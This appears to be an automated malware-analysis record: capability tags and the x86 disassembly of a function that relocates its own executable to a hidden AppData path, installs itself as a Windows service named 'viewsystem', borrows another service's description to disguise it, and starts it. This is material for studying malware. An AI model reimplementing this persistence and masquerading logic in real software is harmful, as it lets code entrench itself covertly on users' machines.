Function at 0xc8abc
Capabilities:
Create process on windows
Create service
Enumerate services
Get common file path
Modify service
Move file
Persist via windows service
Start service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28c
push esi
push edi
mov edi, 0xcb7c0
mov esi, str.C:UsersPhoenixAppDataLocalMicrosoftWindows_viewsystem.exe
push edi
push esi
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0xc8de3
push ebx
call fcn.000c187a
push 0x208
xor ebx, ebx
lea eax, [ebp - 0x28c]
push ebx
push eax
call dword [sym.imp.ntdll.dll_memset]
push 0x1e
lea eax, [ebp - 0x3c]
push ebx
push eax
call dword [sym.imp.ntdll.dll_memset]
add esp, 0x18
mov dword [ebp - 0x38], 1
mov eax, 0xe14
mov dword [ebp - 0x34], esi
mov word [ebp - 0x2c], ax
lea eax, [ebp - 0x3c]
mov dword [ebp - 0x30], edi
push eax
call dword [sym.imp.SHELL32.dll_SHFileOperationW]
test eax, eax
jne 0xc8b35
cmp dword [ebp - 0x2a], ebx
je 0xc8ba5
lea eax, [ebp - 0x28c]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea eax, [ebp - 0x28c]
push eax
push ebx
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
lea eax, [ebp - 0x28c]
mov dword [ebp - 0x34], edi
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x3c]
push eax
mov dword [ebp - 0x2a], ebx
call dword [sym.imp.SHELL32.dll_SHFileOperationW]
test eax, eax
jne 0xc8ddf
cmp dword [ebp - 0x2a], ebx
jne 0xc8ddf
lea eax, [ebp - 0x3c]
mov dword [ebp - 0x34], esi
push eax
mov dword [ebp - 0x30], edi
mov dword [ebp - 0x2a], ebx
call dword [sym.imp.SHELL32.dll_SHFileOperationW]
test eax, eax
jne 0xc8ddf
cmp dword [ebp - 0x2a], ebx
jne 0xc8ddf
call fcn.000c190a
test byte [0xcb2a4], 1
je 0xc8d8e
push 6
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov esi, eax
test esi, esi
je 0xc8ddf
push ebx
push ebx
push ebx
push ebx
push ebx
push edi
push ebx
push 2
push 0x10
push 0x12
mov eax, str.viewsystem
push eax
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_CreateServiceW]
mov edi, eax
test edi, edi
jne 0xc8c01
push 0x10
push str.viewsystem
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov edi, eax
jmp 0xc8d71
push ebx
push ebx
lea eax, [ebp - 0x1c]
mov dword [ebp - 8], ebx
push eax
lea eax, [ebp - 0x10]
push eax
push ebx
push ebx
push 3
push 0x30
push ebx
push esi
call dword [sym.imp.ADVAPI32.dll_EnumServicesStatusExW]
test eax, eax
jne 0xc8d71
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xea
jne 0xc8d71
push dword [ebp - 0x10]
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov ebx, eax
mov dword [ebp - 0x40], ebx
test ebx, ebx
je 0xc8d6f
xor ecx, ecx
lea eax, [ebp - 0x1c]
push ecx
push ecx
push eax
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 0x10]
push ebx
push 3
push 0x30
push ecx
push esi
call dword [sym.imp.ADVAPI32.dll_EnumServicesStatusExW]
test eax, eax
je 0xc8d37
mov eax, dword [0xcb3ac]
mov ecx, ebx
imul edx, dword [ebp - 0x1c], 0x2c
and eax, 0xf
imul eax, eax, 0x2c
add edx, ebx
add eax, ebx
mov dword [ebp - 0xc], edx
mov ebx, dword [ebp - 0xc]
cmp eax, edx
cmovb ecx, eax
mov dword [ebp - 0x14], ecx
cmp ecx, edx
jae 0xc8d3a
push 1
push dword [ecx]
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov dword [ebp - 0x18], eax
test eax, eax
je 0xc8d1f
lea ecx, [ebp - 4]
push ecx
push 0
push 0
push 1
push eax
call dword [sym.imp.ADVAPI32.dll_QueryServiceConfig2W]
test eax, eax
jne 0xc8d16
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0xc8d16
push dword [ebp - 4]
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov ebx, eax
test ebx, ebx
je 0xc8d16
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push ebx
push 1
push dword [ebp - 0x18]
call dword [sym.imp.ADVAPI32.dll_QueryServiceConfig2W]
mov dword [ebp - 8], eax
test eax, eax
jne 0xc8d16
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
push dword [ebp - 0x18]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0xc]
add ecx, 0x2c
cmp dword [ebp - 8], 0
mov dword [ebp - 0x14], ecx
je 0xc8c9b
jmp 0xc8d3a
mov ebx, dword [ebp - 0xc]
push dword [ebp - 0x40]
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
cmp dword [ebp - 8], 0
je 0xc8d6f
push ebx
push 1
push edi
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2W]
push ebx
xor ebx, ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0xc8d71
xor ebx, ebx
test edi, edi
je 0xc8d85
push ebx
push ebx
push edi
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0xc8ddf
push 0x44
pop esi
push esi
lea eax, [ebp - 0x84]
push ebx
push eax
call dword [sym.imp.ntdll.dll_memset]
add esp, 0xc
mov dword [ebp - 0x84], esi
lea eax, [ebp - 0x30]
mov dword [ebp - 0x58], 0x80
push eax
lea eax, [ebp - 0x84]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0xc8ddf
push dword [ebp - 0x30]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x2c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
inc eax
pop ebx
pop edi
pop esi
mov esp, ebp
pop ebp
ret